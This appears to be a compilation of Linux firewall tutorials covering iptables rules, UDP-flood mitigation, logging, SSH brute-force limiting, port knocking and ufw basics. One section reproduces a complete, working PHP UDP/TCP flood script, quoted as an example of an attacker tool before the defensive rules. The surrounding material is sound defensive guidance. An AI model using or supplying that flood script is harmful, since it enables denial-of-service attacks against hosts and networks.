Databases, Systems & Networks

Source: serverfault.com

#!/bin/sh
IPT=/sbin/iptables

## FLUSH
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

$IPT -P INPUT DROP
$IPT -P OUTPUT DROP
$IPT -P FORWARD DROP

$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

$IPT -A INPUT -p tcp --dport 22 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT

$IPT -A INPUT -p tcp --dport 80 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
$IPT -A INPUT -p tcp --dport 443 -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 443 -j ACCEPT

# Allow FTP connections @ port 21
$IPT -A INPUT  -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT

# Allow Active FTP Connections
$IPT -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT 

# Allow Passive FTP Connections
$IPT -A INPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp --sport 1024: --dport 1024:  -m state --state ESTABLISHED,RELATED -j ACCEPT 

#DNS
$IPT -A OUTPUT -p udp --dport 53 --sport 1024:65535 -j ACCEPT

$IPT -A INPUT -p tcp --dport 1:1024
$IPT -A INPUT -p udp --dport 1:1024

$IPT -A INPUT -p tcp --dport 3306 -j DROP
$IPT -A INPUT -p tcp --dport 10000 -j DROP
$IPT -A INPUT -p udp --dport 10000 -j DROP

core:~# apt-get update
0% [Connecting to ftp.us.debian.org] [Connecting to security.debian.org] [Conne

Prevent UDP flood

Some basic iptables settings can prevent UDP flood from happening.

The Attacker

Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.

ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
        exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
        $dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
  if($_GET['type'] == 'tcp')
 { 
    $posttype = 'tcp://';
 }
 else
 {
    $posttype = 'udp://';
 }
}
else
{
  $posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
    if(isset($_GET['p']))
      $port = $_GET['p'];
    else $port = rand(1,65000);
        $sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
        if($sock){
                ++$p;
                $fwriteFile = fwrite($sock, $out);
                fclose($sock);
        }
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";

The Solution

Generally speaking, there’s no need to allow UDP traffic other than DNS.

All non-essential UDP traffic can be completely blocked with the following settings:

# allow dns requests to google nameservers
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
 iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
 iptables -A OUTPUT -p udp -j DROP
 ip6tables -A OUTPUT -p udp -j DROP

Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b

Alternatively, rate limiting can be employed as a more tolerant measure:

# Outbound UDP Flood protection in a user defined chain.
 iptables -N udp-flood
 iptables -A OUTPUT -p udp -j udp-flood
 iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
 iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
 iptables -A udp-flood -j DROP

Gist: https://gist.github.com/thoward/6180165

Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!

Source: Troy Howard

Source: nixCraft

According to man page:
Iptables is used to set up, maintain, and inspect the tables of IP packet filter rules in the Linux kernel. Several different tables may be defined. Each table contains a number of built-in chains and may also contain user defined chains.

Iptables default log file

For example, if you type the following command, it will display current iptables log from /var/log/messages file:

# tail -f /var/log/messages

Output:

Oct  4 00:44:28 debian gconfd (vivek-4435): Resolved address "xml:readonly:/etc/gconf/gconf.xml.defaults" to a read-only configuration source at position 2
Oct  4 01:14:19 debian kernel: IN=ra0 OUT= MAC=00:17:9a:0a:f6:44:00:08:5c:00:00:01:08:00 SRC=200.142.84.36 DST=192.168.1.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=18374 DF PROTO=TCP SPT=46040 DPT=22 WINDOW=5840 RES=0x00 SYN URGP=0
Oct  4 00:13:55 debian kernel: IN=ra0 OUT= MAC=ff:ff:ff:ff:ff:ff:00:18:de:55:0a:56:08:00 SRC=192.168.1.30 DST=192.168.1.255LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=13461 PROTO=UDP SPT=137 DPT=137 LEN=58

Procedure to log the iptables messages to a different log file

Open your /etc/syslog.conf file:

# vi /etc/syslog.conf

Append following line

kern.warning /var/log/iptables.log

Save and close the file.

Restart the syslogd (Debian / Ubuntu Linux):

# /etc/init.d/sysklogd restart

On the other hand, use following command to restart syslogd under Red Hat/Cent OS/Fedora Core Linux:

# /etc/init.d/syslog restart

Now make sure you pass the log-level 4 option with log-prefix to iptables. For example:

# DROP everything and Log it
iptables -A INPUT -j LOG --log-level 4
iptables -A INPUT -j DROP

For example, drop and log all connections from IP address 64.55.11.2 to your /var/log/iptables.log file:

iptables -A INPUT -s 64.55.11.2 -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix '** HACKERS **'--log-level 4
iptables -A INPUT -s 64.55.11.2 -j DROP

Where,

• –log-level 4: Level of logging. The level # 4 is for warning.
• –log-prefix ‘*** TEXT ***’: Prefix log messages with the specified prefix (TEXT); up to 29 letters long, and useful for distinguishing messages in the logs.

You can now see all iptables message logged to /var/log/iptables.log file:

# tail -f /var/log/iptables.log

iptables recent module usage by example

icmp check: 2 packets per 10 seconds – rcheck

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --rcheck --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

icmp check: 2 packets per 10 seconds – update

iptables -F
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --update --seconds 10 --hitcount 2 --name ICMPCHECK -j DROP
iptables -A INPUT -p icmp --icmp-type echo-request -m recent --set --name ICMPCHECK -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds

SSHPORT=22
iptables -F
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP 
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --set --name BRUTEFORCE -j ACCEPT

SSH brute-force prevention : 3 connections per 60 seconds – separate chain

SSHPORT=22
iptables -F
iptables -X
iptables -N BRUTECHECK
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j BRUTECHECK
iptables -A BRUTECHECK -m recent --update --seconds 60 --hitcount 3 --name BRUTEFORCE -j DROP
iptables -A BRUTECHECK -m recent --set --name BRUTEFORCE -j ACCEPT

SSH port knocking : tcp/1000 , tcp/2000

SSHPORT=22
N1=1000
N2=2000
iptables -F
iptables -X
iptables -N KNOCK1
iptables -N KNOCK2
iptables -N OK

iptables -A KNOCK1 -m recent --set --name SEENFIRST
iptables -A KNOCK1 -m recent --remove --name KNOCKED
iptables -A KNOCK1 -j DROP

iptables -A KNOCK2 -m recent --rcheck --name SEENFIRST --seconds 5 -j OK
iptables -A KNOCK2 -m recent --remove --name SEENFIRST
iptables -A KNOCK2 -j DROP

iptables -A OK -m recent --set --name KNOCKED
iptables -A OK -j DROP

iptables -A INPUT -p tcp --dport ${N1} -j KNOCK1
iptables -A INPUT -p tcp --dport ${N2} -j KNOCK2
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -m recent --seconds 10 --rcheck --name KNOCKED -j ACCEPT
iptables -A INPUT -p tcp --dport ${SSHPORT} -m state --state NEW -j DROP

SSH port knocker script

#!/bin/bash
HOST="172.16.20.2"
SSHPORT=22
KNOCKS="1000 2000"

for PORT in $KNOCKS; do
  echo "Knock: $PORT"
  telnet $HOST $PORT &> /dev/null &
  P=$(echo $!)
  echo "PID: ${P}"
  sleep 1
  kill -KILL ${P}
done
ssh -p${SSHPORT} ${HOST}

Source: Pejman Moghadam

Since computers are connected to each other, services are growing fast. Email, Social Media, Online Shop, Chat until Web Conferencing are services that used by user. But on the other side this connectivity just likes a double-side knife. It’s also possible to send bad messages to those computers like Virus, malware, trojan-apps are one of them.

$ sudo dpkg --get-selections | grep ufw
ufw 		install

$ sudo apt-get install ufw

$ sudo ufw status

$ sudo ufw enable

Firewall is active and enabled on system startup

$ sudo ufw disable

$ sudo ufw status verbose

Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip
$